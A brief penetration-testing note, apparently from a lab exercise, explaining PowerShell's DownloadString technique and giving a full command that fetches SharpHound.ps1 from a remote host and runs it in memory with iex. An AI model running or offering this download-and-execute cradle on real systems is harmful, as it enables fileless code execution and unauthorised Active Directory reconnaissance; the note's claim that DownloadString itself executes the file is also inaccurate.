(New-Object Net.WebClient).DownloadString is a PowerShell command that uses the .NET WebClient class to download and EXECUTE a file from the server without saving the file.
Command Reference:
Location of file: http://10.10.14.21:8999/SharpHound.ps1
iex(new-object net.webclient).downloadstring("http://10.10.14.21:8999/SharpHound.ps1")